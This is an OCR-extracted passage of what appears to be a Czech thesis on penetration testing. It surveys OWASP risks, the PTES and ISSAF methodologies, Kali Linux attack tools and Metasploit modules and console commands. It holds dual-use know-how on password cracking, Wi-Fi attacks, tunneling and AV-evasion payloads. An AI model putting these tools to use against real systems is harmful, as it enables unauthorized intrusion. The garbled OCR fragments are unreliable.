nebo komponenty tretich stran jsou v jejich aplikacich vyuzivany.

Tato skuteCnost ma zandasledek slozitou aktualizaci danych komponent
vyuzivanych v dané aplikaci. Problém s aktualizacemi pouzivanych komponent je
rizikem v pripadé objeveni novych zranitelnosti pro dané komponenty
vyuzivanych v aplikacich.

Identification and Authentication Failures (formerly referred to as “Broken

Authentication”) - Jednd se o typ zranitelnosti spojenych se Spatnou



28

implementaci jednotlivych funkci dané aplikaci. Implementac¢ni chyby funkci
v aplikaci miZe vést ke zneuziti hesel, klici a tokeni relace. Implantacni chyby
miiZou vést k doCasnému, nebo i trvalému pievzeti uzivatelské uctu.

Software and Data Integrity Failures - Selhani integrity softwaru a dat, se
vztahuje na koéd a infrastrukturu, které selhavaji ptfi ochrané proti naruSeni
integrity. Do tohoto typu zranitelnosti patfi aktualizace softwaru, nebo kriticka
data. Dale zde patti CI/CD kanaly, které nemaji Zddné ovérovani (napriklad: data
zakédovana nebo serializovana). Dale se jednad o automatické stahovani
aktualizaci aplikaci bez dostatecného ovéreni integrity aplikace, kdy hacker mtize
vydat faleSnou aktualizaci divéryhodné aplikace. Posledni soucast této skupiny
zranitelnosti je nezabezpecena deserializace. Nezabezpecena deseralizace muze
mit za nasledek vzdalené spusténi kédu. Ucelem vzdalené spusténi kodu mize
byt manipulace nebo odstranéni serializovanych objektti. Dale mize byt cil
zvySeni uzivatelskych opravnéni.

Security Logging and Monitoring Failures (formerly referred to as “Insufficient
Logging and Monitoring”) - Do této skupiny zranitelnosti patri selhani
bezpecnostniho protokolovani a monitorovani spolu s chybéjici nebo netucinnou
integraci se systémy reakce na incidenty. Odhaleni tohoto typu zranitelnosti

je Casové narocné a vétSinou ho odhali az externi bezpe¢nostni audit.

Mezi typické utoky, které se vyuZzivaji tento typ zranitelnosti patii napiiklad SQL
injections, XSS. Hackefi spoléhaji na nedostatek v monitorovani dané pocitacové
infrastruktury a s tim spojené jejich neodhaleni, nebo pozdni odhaleni.

Tato pozdni detekce Utoku ma za nasledek pozdni reakci na dany utok

a poskytuje hackerovi ¢as na provadéni cilti daného utoku.

Server-Side Request Forgery - Jedna se o zranitelnost pri, které webova aplikace
nacte vzdaleny zdroj bez ovéreni uzivatelem zadané adresy URL. Hacker miize

vytvotreny pozadavek od webové aplikace poslat jinému cili, nez je ptivodni cil



daného pozadavku. Proti tomuto typu zranitelnosti nepomaha ani firewallem,
VPN nebo jinym typem seznamu fizeni pristupu k siti. Jedna se o typ
zranitelnosti, kterd ma za tim malou cetnost vyskytu, ale Cetnost vyskytu tohoto

typu zranitelnosti pravdépodobné poroste z rozvoje vyuZzivani cloudovych sluzeb.
[56]
Penetration Testing Execution Standard (PTES)
PTES je metodika ma za cil reSit potfebu standardu pro penetracni testovani. PTES ma
za cil informovat klienty pasteracniho testovani o zplisobu provadéni penetracnich
testl. PTES metodika ma pribéh penetracniho testovani rozdélen do sedmi casti, které
jsou popsany nizZe vtéto praci. Na obrazku niZe je schéma pribéhu penetracniho

testovani s vyuZzitim PTES

Pre-engagement — Information —  Threat Modelling W

Gathering

L Vulnerab_lllty = Exploitation — Post Exploitation
Analysis

' 3

Reporting

Obrazek 2 (zdroj: [71])
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Pre-engagement Interactions.
Co se bude testovat?
Jakeé techniky se budou pouzivat?

Cas pro testovani?

Intellizence gathering

Sbér informaci o systému.

Vulnerability Analysis,

Zjistovani zranitelnosti i

Threat Modelling

Identifikace zranitelnosti systémiu

e

Pokus o proniknuti do systému.

Uspéiné prolomeni

systému

Reporting

Zivéretna sprava.

Post Exploitation.

Udrzet se wvnapadeném

systému.

Obrazek 3 (zdroj: autor)

Pre-engagement Interactions - V této fazi se planuje cely priibéh penetra¢niho

testovani véetné pouZzivanych nastrojt. Tyto plany se nasledné pisemné schvali.

Intelligence gathering - V této fazi se provadi sbér informaci z externich zdrojt.

Tato faze ma za cil vytvorit co nejlepsi pohled na testovanou sit zinternetu.



[57]

Zjistuje se, které Casti firemni pocitaCové sitové infrastruktury jsou dostupné
Z internetu.

Threat Modelling - Cilem faze Threat Modelling je optimalizace zabezpeceni
pocitatové sitové infrastruktury dané spole¢nosti. Utelem této faze

je identifikovat zranitelnosti v dané siti a nasledné navrh opatfeni k zamezeni
zneuZiti zjiSténych zranitelnosti, nebo minimalné minimalizovat ptripadné skody
pri zneuZiti téchto zranitelnosti.

Vulnerability Analysis — Faze pri, které se zjiStuje moZnost vyuZiti zranitelnosti
pro ziskani autorizovaného pristupu do napadané aplikace, nebo systému.
Exploitation - Ve fazi Exploitation se Penetracni tester pokousi dostat do
testovaného systému pomoci drive zjiSténych zranitelnosti.

Post Exploitation — Po dspéSné podniknuti do napadeného systému ma tato faze
za cil udrzet se v napadaném sytému a sbér dat z nameteného sytému.

Reporting - Zpracovani zavérecné zpravy informujici o pribéhu a vysledcich

penetracniho testovani.

Information Systems Security Assessment Framework (ISSAF)

ISSAF metodika ma pribéh penetracniho testovani rozdélen do péti Casti, které jsou

popsany niZe v této praci. Na obrazku niZe je znadzornén priibéh penetra¢niho testovani

podle ISSAF metodiky.
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Planning and Breparation,

gt co se bude testovat a
kdy se bude testovat.

Assessment,

Uréit cile penetracniho
testovani.

Targels,

Vibrat metodiku pro penetracni
testovan.

Penetracni testovani.

Planning and Breparation,

UZit co se bude testovat a
kdy se bude testovat.

Repaorting

Wyhodnoceni penetractniho
testovani.

Obrazek 4 (zdroj obrazku: autor)
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Planning and Preparation - Jedna se o fazi vymény informaci a smluvni ujednani
o tom co se bude testovat a rozsah celého penetra¢niho testovani. Musi se
identifikovat komunikac¢ni kanaly mezi spoleCnosti a tymem pro penetracni
testovani. Dale je nutné odsouhlasit plan a rozsah penetracniho testovani véetné
eskalaci opravnéni.

Assessment - Popis cilii penetracniho testovani, a to i s popisem nastroji
penetracniho testovani, které lze pro ti danému cili ttoku pouZit.

Targets - ISSAF poskytuje metodiku pro penetracni testovani pro ti riznych typt
cilovych zarizenich. Poskytuje zakladni informace o typu zafizeni a jeho vychozi
konfiguraci a typickych konfiguracich. V této metodice je obsaZeno i druhy
nastrojt, které lze vyuzit k atoku na dany typ zarizeni. Podle ISSAD se cile utoku
déli do péti skupin.

o Prvni podskupinou je Network Security do této podskupiny patii vSechny
penetracni testy, které se tykaji zabezpeceni pocitacové sité. Do této
podskupiny patii naptiklad Password security testing, Switch security
assessment, Router security assessment, Antivirus system security
assessment and management stratégy, Storage Area Network (SAN)
security, Firewall security assessment a Wireless Local Area Network
(WLAN) security assessment.

o Druhou podskupinou je Host Security do této podskupiny patii vSechny
penetracni testy, které se tykaji zabezpeceni operacnich systému pocitacd,
nebo operacnich systémi serveri. Do této podskupiny patii naptiklad
Unix/Linux system security assessment, Windows systems security
assessment, Novell Netware security assessment a web server security
assessment.

o Treti podskupinou je Application Security, kdy tato podskupina se zabyva

zabezpecCenim aplikaci. Vtéto skupiné jsou napiiklad web application
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security assessment (SQL injections), Source code auditing, Binary
auditing.

o Ctvrta podskupina je Database Security, kterd se zabyva zabezpecenim
databazi. V této cCtvrté podskupiné se vyuzivaji napriklad Remote
enumeration of databases, Brute-forcing of databases, Process
manipulation attack a End-to-end audit of databases.

o Pata podskupina je podle ISSAF socidlni inZenyrstvi, které bylo popsano
vySe v této praci.

Reporting - Findlni zprava je v pisemné podobé a pojednava o vysledcich
penetracniho testovani a o zjiSténych zranitelnostech v testované pocitacové siti.
V naléhavych pripadech je mozné informace z délit i astni formou, ale pouze

u kritickych problémd, které vyzaduji okamzité reseni. Specidlnim pfipadem je,
pokud se béhem penetracniho testovani zjisti néjaka nezakonna ¢innost na siti

a v systémech. Ve vysledné protokolu o penetra¢nim testovani musi byt uvedeno
Management summary, ktery urcuje rozsah projektu a pouzité nastroje Pentest,
pouzité zneuZiti, datum a Cas testu. VSechny vystupy nastrojl a exploiti a seznam
zjiSténych zranitelnosti.

Clean-Up and Destroy Artefacts - Jedna se o fazi iklidu po penetra¢nim testovani.

Jedna se smazani vSech dat a soubori, které byli penetracnim testovanim

vytvoreny.



5 Kali Linux

Historie

Jedna se specialni distribuci Linuxu pro penetracni testova, ktera vychazi z distribuce

Debian Linux. Od roku 2006 do 2011 se pouzival operacni systém BackTrack. ze kterého

nasledné vysel operac¢ni systém Kali Linux. Prvni verze Kali Linux vysla v roce 2013 a

zatim posledni nova veze je z cervna 2023. [15], [31]

5.1 Nastroje Kali Linux

Operacni systém Kali Linux ma nainstalovano celkem 13 skupin nastroji pro oblast

kybernetickych utoktl a penetracniho testovani.

Database Assessment

Do skupiny téchto nastroju spadaji SQLite database browser a sqlmap
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SQLite database browser - Jedna se o nastroj pro tvorbu a dpravu databaze bez
potieby psani SQL kédu. [35]

Sqlmap - Jedna se o open source nastroj pro penetracni testovani SQL databaze,
ktery lze pouzit na vSechny zname SQL databaze (napiiklad: MySQL, Oracle,
PostgreSQL, Microsoft SQL Server). Podpora pro technik SQL injection boolean-
based blind, time-based blind, error-based, UNION query-based, stacked queries
and out-of-band. Ma podporu pro vypis uzivatelskych ucti vcetné vSech
opravnéni a hash hesla. Tento nastroj obsahuje automatickou detekci druhti hash
pouzitych pro heslo. Nastroj dale podporuje prolomeni hesla za pomoci
slovnikového utoku. Dale nastroj podporuje navazani mimo pasmového
stavového TCP spojeni mezi zarizenim tuto¢nika a databazovym serverem, ktery
je zdkladem operac¢niho systému. Timto kanidlem mizZe byt interaktivni ptikazovy

fadek, relace Meterpreter nebo relace grafického uzivatelského rozhrani (VNC)



podle volby wuzivatele. Metasploit Meterpreter getsystem pro eskalaci

uzivatelskych prav pro databazové procesy. [36]
Password Attacks

Tato skupina nastroji se dale déli do ¢tyi podskupin podle typy tutokd (Offline Atacks,
Onlien Attacks, Passing the Hash Tools, Password Profiling & Wordlists) Mezi nastroje

na password attacks spadaji na priklad tyto niZe uvedené nastroje

e (Cewl - Custom Word List generator je aplikace prohledavajic zadanou URL adresu
do urcené hloubky a vraci seznam slov, které lze nasledné vyuZit k prolomeni
hesla. Cerwl dale umi vytvorit seznam nalezenych emailovych adres v odkazech
mailto. Emailové adresy se pouziji jako uzivatelské jméno pri dtoku hrubou silou

(to znamena zkous$eni jakékoliv kombinace znakl pro proloment hesla). [4]
Tabulka niZe obsahuje vypis vybranych parametri pro cewl. Tento vypis se zobrazi
po zadani prikazu: ,cewl -h“.

(https://www.hackingarticles.in/a-detailed-guide-on-cewl/)

parametr Popis parametru

-h zobrazi napovédu

-k stahne soubor

-w zapsani vystupu prikazu do souboru
-g vraci skupinu slov

-e vCetné e-mailové adresy

36


http://www.hackingarticles.in/a-detailed-guide-on-cewl/

--meta_file vystupni soubor pro metadata
--email_file vystupni soubor pro e-mailovou adresu
-n nevypisovat seznam slov

-C pocet nalezenych slov

-v podobna slova

--auth_type typ autentizace

--auth_user uzivatelské jméno

--auth_pass uzivatelské heslo
--proxy_host proxy host

--proxy_port nastaveni portu proxy
--proxy_username uzivatelské jméno pro proxy
--proxy_password Heslo pro proxy

Tabulka 1 tato tabulka vznikla piekladem ze zdroje [4]

e Crunch - Generator textovych ftetézcli, které mohou obsahovat vSechny
pouzitelné znaky. Tyto fetézce jsou tvoireny kombinaci a permutaci sady znakd.
Lze urcit velikost textového tetézce a pocet znakil. Piiklad generovani hesla
zminimalné 5 znaky a maximalné 50 znaky Generovani znakl se spusti

ptikazem: ,cunch 5 50“
Vypis vysledku generovani:

aaaaa
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aaaab
aaaac
aaaad
aaaae
aaaaf
aaaag
aawsnz
aawsoa
aawsob
aawsoc
aawsod
aawsoe

Zvyse uvedeného vypisu z generovani je vidét, Ze tento nastroj generuje rtizné slozita
hesla. Generuji se jak hesla, ktera by odolala slovnikovému tutokt (aawsoe

7

), tak i hesla triviadlni (aaaaa), kterd neposkytuji témeér zadnou ochranu. Na obrazcich

niZe je vidét manual pro crunch. [5]

CRUNCH(1) General Commands Manual CRUNCH(1)
crunch - generate wordlists from a character set

crunch <min-len> <max- [<charset string>

] [options]

a wordlist based on criteria you specify. The
creen, file, or to another

mum length ing want crunch to start at. This
required fo ameters that won't use the

length string you want crunch to end at. This
quired even for parameters that won't use the
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Obrazek 5 (zdroj: autor)

nerate words that don‘t have repeating

1t crunch will generate a wordlist size

s ~ ma length. This option will in-
i The ! 7
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option will inst = >
bac, bca, cab, - S M > ] - PTION!
1 ANNOT be 1d it ignor in and max leng
~ you must still specify two numbe

runch to read filename.txt and permute what is read.
option except it gets the input from

re it left off.

If your o
ove it before you
d of the original

Obrazek 6 (zdroj: autor)

Hashcat - Podporuje prolomenti tfi sta hashovacich algoritmi (napriklad: HMAC-
MD5, SHA1, HMAC-SHA1, MySQL323, MySQL4.1/MySQL5) UmozZnuje nékolik
typa utoku slouzicich k prolomeni hesla a to Brute-Force attack, Combinator
attack, Dictionary attack ,Fingerprint attack , Hybrid attack, Mask attack,
Permutation attack, Rule-based attack, Table-Lookup attack, Toggle-Case attack
a PRINCE attack. Hashcat podporuje hardwarové akceleratory na CPU a GPU. Dale
umoznuje distribuované prolomeni hesla o prolomeni hesla se pokousi vice
zatizeni na jednou. [12]

medusa - Nastroj pro paralelni, modularni, prihlaSovani brute-forcer. Podporuje
vzdalenou autentizaci. [20] Tabulka niZe obsahuje vypis vybranych parametra

pro medusa. Tento vypis se zobrazi po zadani prikazu: ,medusa - h*. [20]



parametr popis

-n jiné Cislo portu TCP, nez je defaultni cislo
postu pro TCP

-d vypis modulti

-t pocet testovani prihlasSeni

-T pocet testovani hostitell

-f stop skenovani po prvni nalezeni validniho

username a password

-F Stop audit po prvni nalezeni validniho

username a password

-q zobrazeni informaci o pouZiti modulu
-r uspani pied dalsim pokusem

-S povoleni SSL

-v zobrazeni verze

-b potlaci baner po spusténi

Tabulka 2 tato tabulka vznikla prekladem ze zdroje [20]
e ncrack - Nastroj pro prolomeni vysokorychlostni autentizace sité. Byl NavrZen

pro testovani uzivatelskych ucti v siti. Podporuje tyto protokoly RDP, SSH,
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http(s), SMB, pop3(s), VNC, FTP a Telnet. Na obrazku niZe je zobrazen popis
jednotlivych parametri pro ncrack. [42]

me list
rd list
ach username. Default is oppo

n in normal

t in the two major

es
k data file location
connections via socks4, 4a, http.

Obrazek 7 (zdroj: autor)

e ophcrack - Nastroj na prolomeni hesel voperatnim systémech Windows.
Alfanumericka hesla prolomi fadové béhem sekund. VyuZiva se zde kompromisu
mezi casem a pamétovou naroc¢nosti pomoci rainbow tables. [23]

e wordlists — Nastroj na prolamovani hesel takzvané hrubou silou. Slovniky lze pro
Kali Linux stahnout, nebo vytvorit vlastni. Slovnik rovna se seznam moZnych

hesel v Cisté textové podobé.[43]

Wireless Attacks

Typy utokl na bezdratové sité se dale déli na autoky proti piripojeni Bluetooth a utoky
proti standartu Wi-Fi (802.11). Mezi nastroje pro Wireless Attacks patfi napriklad nize
uvedené nastroje.
e Aircrack-ng - Aircrack-ng je baliCek nastroji pro utoky proti Wi-Fi, ktery
obsahuje tyto nastroje. Sniffer, WEP a WPA/WPA2 Cracker, analyzujici nastroj a
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nastroj pro zachyceni hash. VyuZziva se k monitorovani sité a zachytavani soubory
CAP, paket nebo hash. Typy utoki jsou dvojiho typu. Prvnim typem utoku je
vytvareni faleSnych pristupovych bodti. Druhym typem ttoku je deauthentication
utok, ktery se podoba s vim principem DOS dtoku. Tento druhy typ ttoku ma za
cil zneptistupnit pripojeni uzivatelskych =zatizeni pres utokem zasaZeny
pristupovy bod. [16]

Fern wifi cracker (root) - Program umozZnuje prolomovat a obnovovat klice WEP,
WPA a WPS Dale miiZe spustét dalSi utoky na sit. Na rozdil od vétSiny zde
uvedenych nastrojli se Fern wifi cracker neovlada pomoci piikazové radky, ale

ovlada se pomoci GUI. NiZe na obrazku je GUI tohoto nastroje. [10]

Fern WIFI Cracker

Scan for Access points

obrazek cislo 8 (zdroj: autor)

Fern - ToolBox

Cookie Hijacker

Wi @ WIF| Attack Options




Obrazek ¢islo 9 (zdroj autor)

e Kismet - Jedna se o nastroj na detekci zarizeni v bezdratové komunikaci. Kismet
umi detekci spojeni Wi-Fi, Bluetooth, nebo RTLSDR. [18]

e Pixiewps - Jedna se o nastroj, ktery pouZziva vynuceni pinu WPS offline. Timto
zplUsobem vyuziva nizkou entropii daného zatizeni, nebo zafizeni bez entropie.

Pixiewps je psan v jazyce C. [26]

Reaver - Pro dtok hrubou silou proti zabezpecenému pristupovému bodu sité. Jakmile
nalezne WPS pin muzZe rekonfigurovat napadené bezdratové zarizeni, nebo obnovit WPA

PSK. [30]

Wifite - Auditni nastroj pro WEP a WPA Sifrovani. Je ho vyhodou jeto, Ze miize byt

pouzivan automatizované. [38]
Reverse Engineering

Prvni podskupinou nastroji je skupina OS Backdoors do které patii nasledujici

programy.

e dbd - Sifrovaci nastroj, ktery by mél poskytovat silné $ifrovani pomoci AES-CBC-
128 + HMAC-SHA1.[6]

e powersploit - Obsahuje skripty pro PowerShell, které lze vyuzit pro
post-exploitation pfi autorizovanych penetracnich testech. [27]

e sbd - PouZiti sbd je podobné jako u vysSe popsaného dbd. Podporuje pouze
komunikaci TCP/IP. [32]

Druhd pod skupina nastroji pro Reverse Engineering je podskupina Tunnelin &

Exfiltation do které spadaji nasledujici programy.
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dns2tcpc - Sada nastroji pro zabaleni TCP relace do DNS packetli. Vyhodou je
mensi velkost vyslednych packetu oproti IP-over-DNS. [8]

exeZ2hexbat - Skript, ktery provadi preklad spustitelného souboru Windows PE
na datovy soubor a obracené. Jedna se o skript vytvoieny v jazyce Python. [9]
iodine - Nastroj umoZznujici obejiti zabezpeceni firewall pomoci poveleného
dotazovani na DNS serve v dané siti. Kdy se pomoci DNS severu vytvorii tunel pro
prenos dat. [14]

miredo — Pomoci miredo 1ze obejit NAT a dostat se z internetu do soukromé site,
ktera vyuziva NAT. Zapouzdruje IPv6 packety do UDP/IPv4 datagramd. [21]
libproxychains4 - Nastroj na presmérovani pripojeni pres proxy SOCKS4a/5
nebo HTTP. Jedna se o Unixovy nastroj vyuzivajici knihovnu DLL (dlsym(),
LD_PRELOAD). [27]

proxytunnel - Vytvari tunel http, nebo https proxi. VyuZiva se pro protokoly
zaloZzené na zakladé protokolu TCP. Pivodné se jednalo o rozsifeni SSH

protokolu. [28]

Forensics

Prvni pod skupina je Forencis Carving Tools. Tato podskupina obsahuje tyto popsané

programy.
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magicrescue - Nastroj pro obnovu smazanych dat, nebo poSkozeného
pamétového média (napiiklad pevného disku). Prohledava jednotlivé boky disku.
Lze pouzit napriklad pro tyto soubory JPG, PNG, GIM, sqlite a zip. Lze vyuzit bud’
predefinované obnovovaci soubory, nebo vytvorit vlastni obnovovaci soubory.
[19]

scalpel - Nastroj pro obnovu dat a forenzni vysetfovani. Cte databazi definic
zahlavi, zapati a extrahuje odpovidajici soubory ze sady obrazovych soubort

nebo souborti raw uloZenych v pamétovém zafizeni. Neni zavisli na pouzZivaném



souborovém systému. Umi pracovat napriklad s témito souborovymi systémy
FAT16, FAT32, exFAT, NTFS, Ext2, Ext3, Ext4, JFS, XFS, ReiserFS a raw oddily.
[32]

e scrounge-ntfs - S tejne jako vySe popsany scalpel je i scrounge-ntfs vyuZitelny pri
forenznim vySetfovani. PouZivd se kobnoveni dat na discich vyuZivajicich
souborovy sytém NTFS. Cte bloky disku a zkous$i obnovit piivodni adresatovou

strukturu daného disku. [33]

Druha podskupina je Forensic Imaging Tolls, ktera ma pouze jednoho zastupce.

e guymager(root) - Guymager, byl navrZen tak, aby podporoval rizné formaty

obrazovych soubort. [11]

Treti podskupina je PDF Forensics Tools s nasledujicimi programy

e Pdfid - Nastroj pro nalezeni klicovych slov v souborech formatu PDF. [24]

e pdf-parser - Analyzuje soubory formatu PDF. [25]

Ctvrta podskupina je Sleuth Kit Suite, ktera ma nasledujici zastupce nastroja.

e autopsy(root) - Program zjiSt'ujici to, co se nadaném zarizeni stalo. Jedna se o GUI

k nastrojiim The Sleuth Kit. Pro hashovani, analyzu a obnovu soubori. [7]

e Binwalk - Nastroj na prohledavani binarni soubord. Tento nastroj byl navrzen
pro identifikaci kédu vloZenych do firmwaru. Pouziva knihovnu libmagic, ktera
umoznuje vyuzivat magic signatures vytvorené v sytému Unix, nebo vytvaret

vlastni magic signatures. [2]
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bulk_extractor - Sleduje obrazy disku a extrahuje dilleZita data, a to bez analyzy
systému soubord, nebo struktur souborového systému. Vysledky je mozné dale

automatizované zpracovavat. [3]



4 Metasploit Framework

Metasploit Framework je nastroj pro penetracni testovani, ktery se pouzZiva ke
skenovani pocitacové sité a k odhalovani zranitelnosti v dané pocitacové infrastrukture.
Metasploit Framework je soucasti programi instalovanych v opera¢nim systému Kali
Linux. Tento nastroj se ovladd pomoci msfconsole. Msfconsole vychazi v zakladu
z ovladani prikazové radky v systémech zaloZenych na Linuxu (napriklad: tabulator =

dokoncovani prikazi). [22]

Na obrazku je znazornéno schéma architektury Metasploit Framework.

LIBRARIES INTERFACES
Console

CLI

PLUGINS

’—’7 MODIULES

Payloads Exploits Encoders

Obrazek ¢islo 10 (zdroj obrazku [51])

4.2 Historie Metasploit Framework

Historicky prvni verze Metasploit Framework je z roku 2003. Tuto prvni verzi vyvinul H.
D. Moore. Prvni verze byla vytvorena v jazyce Perl, ale vroce 2007 byl Metasploit

Framework prepsan do programovaciho jazyka Ruby. Metasploit Framework zacal byt
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popularni vroce 2007, kdy tento projekt ziskala spolecnost Rapid7. Zatim nejnové;ji

verze je Metasploit Framework 6.3, kdy tato verze vySla v roce 2023.
[591.[60]

4.2 Moduly Metasploit Framework

Tato ¢ast prace vychazi textové ze zdroji oznacenych: [22], [37].
Metasploit Framework ma 5 hlavnich modult

Auxiliary

Modul skladajici se z nasledujicich nastroja fuzzers, skener a SQL injection. Tento modul
je v Metasploit podporovan od verze Metasploit 3.0. Auxiliary se vyuziva k provadéni

jednorazovych ttokt jako je port scanning, denial of service, a even fuzzing.
Encoders

Maskuje Sifruje payloads a exploits, tak aby nebyl itok odhalen antivirovym programem,

ktery pouZziva metody signature-based.
Exploit

Moduly pro vyuZivani zranitelnosti pocitacového systému pomoci datové zatéZe.
Nastaveni cile utoku v Exploit se nastavuje pomoci piikazu set a jeho parametri. Pro
nastaveni IP adresy cilového zarizeni se pouZiva parametr RHOST. Pro nastaveni
cilového portu se pouziva parametry RPORT. Zobrazeni moZnych Unikii DS a IPS se
poziva piikaz show advanced. Pro ovéfeni zranitelnosti lze vyuzit prikaz check, kterym
se vyzkousi, jestli je dany cil Gitoku zranitelny proti aktivnimu exploit modulu. Pouziva se
k ovéieni nastaveni utoku. Check prikaz by nemél vést ke zhrouceni napadeného
systému, nebo jeho znezpristupnéni. Pfikaz Check, ale nelze pouZit u vSech exploit
moduld. Dale ne vSechny zranitelnosti 1ze zjisti timto ptikaz bez dalStho pfimého tutku na

napadené zarizeni. Ke spusténi utoku slouzi prikaz exploit, kdyZ spusténi probéhne dany
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exploit se spusti, nebo nabidne moZnost interakce s prikazovym radkem utokem

postiZeného zatizeni.
Payload

Vyuziva se k jako moduly pro podporu utoku, pres ktery se zjiStuji zranitelnosti. Tyto
moduly otviraji takzvana: ,zadni vratka“, do napadeného ziizeni. Poté nasleduji dalsi
faze utoku jako napriklad instalaci néjakého Skodlivého systému. Pyload moduly jsou
podporovany od verze Metasploit 3.0. -Generuji instrukce bez provadéni operaci tento

zpusob se vyuziva k padding out buffers.
Post

Pouziva se ke zjisténi dalSich informaci o napadeném zatizeni. Zjisténi uZzivatelskych

jmen, hash hesel. Nasledné je moZné ménit uzivatelska prava napadeného systému.
[22]
Nop Modules

Nop modulu umoznuje generovani takzvanych: ,NOP sled“, které miizou mit riiznou

velikost. Pro zobrazeni v daném formatu se vyuZziva generovani komunikace. [41]
(https://www.infosecmatter.com/metasploit-module-library/?mm=nop/cmd/generic)
The Meterpreter

Jedna se o pokrocilo ¢ast Metasploit, kde je funkce , multi-function payload,. Kdy zatéz

na cilovém zatizeni mlze byt dynamicky prodluzovana. Tento modul poskytuje shell

pro pasani funkci a pfidavani funkci za béhu modulu. [41]

PassiveX Payloads
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Tento modul Metasploit se vyuziva ke zneuZiti procesu v napadeném zatizeni. Z neuzity
proces spusti Internet Explorer s URL odkazujici zpét na ramec. Framework spousti
jednoduchy web server, ktery prijme poZadavek a odeSle zpét webovou stranku s
pokynem k nacteni soucasti ActiveX. Napadeny systém pak stahne, zaregistruje a spusti
ActiveX.  Soucast tohoto modulu PasiveX se pouziva k provadéni piikazu v shellu.
PasiveX se pouZziva pro nacteni Meterpreter, nebo sluzby VNC. PassiveX emuluje
pripojeni k serveru pomoci TCP a dale se zde vyuziva protokol http s poZadavky GET a
POST. [41]

Chainable Proxies

Chainable Proxies modul obsahuje podporu TCP proxy a obsluzné rutiny pro servery
HTTP CONNECT a SOCKSv4. Exploit je nutné nastavit proménnou v prostiedi proxy.
Hodnotou této proménné je seznam proxy, kdy jednotlivé proxy jsou oddéleny ¢arkami.
Zapis jednotlivych proxy v seznamu je vtomto formatu: ,type:host:port“. U SOCKS v4.

Proxy je mozné mit libovolnou délku retézce. [41]
Win32 UploadExec Payloads

Vyuziva zranitelnosti operacniho systému Windows, ktery nema vykonny prikazova
radek (powerful command line). Tato funkce umoZnuje Gto¢nikovi nahravat a spoustét
nastroje v napadeném zarizeni pomoci: ,payload socket connection“. Tato funkce je
pouzitelna s jazykem Perl a podobnymi skriptovacim jazyky, Déle lze tato funkce vyuzit

spolu se samo rozbalovacim nastrojem rootkit. [41]
Win32 DLL Injection Payloads

Modul obsahujici fdzovanou uzite¢nou zatéz. Pomoci této zatéZe je mozné vlozit vlastni
DDL, které se bude vyuZivat spolecné z dalsSimi Win32 exploity. Toto uZiteCné zatiZeni

nebude mit za nasledek zapis vSech souborti na disk, ale dojde k na¢teni DDL ptimo
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do paméti. Nasledné se dané DDL spusti v exploited procesu. Tvorba daného DDL se

provadi pomoci knihovny standardni Win32 DLL. [41]
VNC Server DLL Injection

Funkce zajistujici pristup k ploSe napadeného systému pomoci win32. Do procesu
napadeného systému se vklada DDL, které se nasledné spusti poZadovaného VNC
klienta. Ziskané informace jsou ndasledné znapadeného zarizeni odeslany utocnikovi
prostiednictvim VNC klienta. Nasledné se ttocnik pokousi ziskat plny pristup k plose

napadeného pocitace. [41]

4.2 Metasploit Framework Knihovny
REX

Knihovna REX je zakladni knihovna Metasploit Frameworku. Tato knihovna v sobé
obsahuje funkce pro provadéni HTTP pozadavki. Tyto http pozadavky se vytvori

pomoci ,#request_cgi“, nebo ,#request_raw". Request_cgi zajiStuje kompatibilitu s CGI
a request_raw nezajiStuje plnou kompatibilitu s CGl. NiZe v tabulce jsou uvedeny
argumenty piikazu pro inicializaci ,Rex::Proto::Http::Client, kdy je povinny pouze

argument z nazvem ,host“. [40]

Nazev argumentu Datovy typ Popis

host String [P adresa cilového zafizenti.

port Fixnum Cilovy port.

contex Hash Urcuje, které zarizeni je z odpovédné
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za vytvoreni soketu.
ssl Boolean Povoleni, nebo zakazani pouZzivani ssl.
ssl_version String SSL2, SSL3, or TLS1
proxies String Nataveni proxi.
username String Uzivatelské jméno pro  automatickou
autentizaci.
password String Heslo pro automatickou autentizaci.

Tabulka 3 tato tabulka obsahuje vybrané parametry ze zdroje [40]
NiZe jsou popsany nazvy klicovych slov pro nastaveni urcitych parametrd pro prikaz:

»Hrequest_cgi”.

Nazev klice Datovy typ Popis

pad_get_params Boolean Povoluje vycpavku pro GET parametr.

pad_get_params_count Fixnum Pocet ndhodnych parametri typu GET

vars_get Hash Hash z GET prameturd.

encode_params Boolean Povoleni kodovani URI pro GET, nebo POST
parmetry

pad_post_params Boolean Povoluje vycpavku pro POST parametr.

pad_post_params_count Fixnum Pocet ndhodnych parametri typu POST

Tabulka 4 tato tabulka obsahuje vybrané parametry ze zdroje [40]
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Request raw obsahuje oproti ,request cgi“ mnohem vice parametrii, které je mozné

nastavit. NiZe v tabulce jsou popsany nazvy kli¢li pro nastaveni urcitych parametrt.

Nazev klice Datovy typ Popis

query String Nezpracovany retézec dotazu GET.

data String Nepracovany retézec dat metody POST.

uri String Nezpracovana URI.

ssl Boolean Vybér protokold http (False) a https (True)
agent String

method String HTTP methoda

proto String protokol

version String version

vhost String Host header

port Fixnum Port for the host header

authorization | String The authorization header

cookie String The cookie header

connection String The connection header

headers Hash A hash of custom headers. Safer than raw_headers
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raw_headers | String A string of raw headers

ctype String Typ obsahu

Tabulka 5 tato tabulka obsahuje vybrané parametry ze zdroje [40]

4.3 Ovladani Metasploit Framework

Jak uZ zde bylo zminéno vySe tato sada nastroji se ovlada v prostiredi Kali Linux pomoci
msfconsole. Metasploit Framework lze pouZivat jak v systémech zaloZenych na Linuxu,

tak i v systémech Windows a MacOs. U systému Windows se poZiva msfgui.

NiZe v tabulce jsou uvedeny zakladni prikazy pro praci s Metasploit Framework, které

vychazeji z prikazil pro ovladani systému zaloZenych na jadie Linuxu.

prikaz popis

cd prepinani adresaii

Is vypis adresare

? nipovéda

search vyhledavani Metasploit databazi

use vybér konkrétniho modulu se sady moduli

info informace o aktualnim modulu

show zobrazi jméno a mozné vyuziti aktualniho modulu
check zjiSténi zranitelnosti napadeného zafizeni
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set nastaveni volitelnych ¢asti aktudlniho modulu
unset opak piikazu set

run spusténi daného modulu

show zobrazeni vSech uZite¢nych zatizeni

payloads

show moznosti uZite¢ného zatiZeni

options

edit editovat aktualni modul

get ziska hodnotu kontextové specifické proménné
getq ziska hodnotu globalni proméné

quit exit console

jobs zobrazeni a spravovat procesu

kill ukonceni procesu

option zobrazi globalni moZnosti pro jeden, nebo vice moduli
irb prepnuti do irb sktiptu

load nacteni plugind pro Metasploit Framework

Tabulka 6 vybranych zakladnich prikazii pro Metasploit Framework

NiZe v tabulce jsou uvedeny pouZivané zkratky a jejich popis.

kod

popis
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S souhrn

0 moznosti

A pokrocilé pouziti

I unik IDS

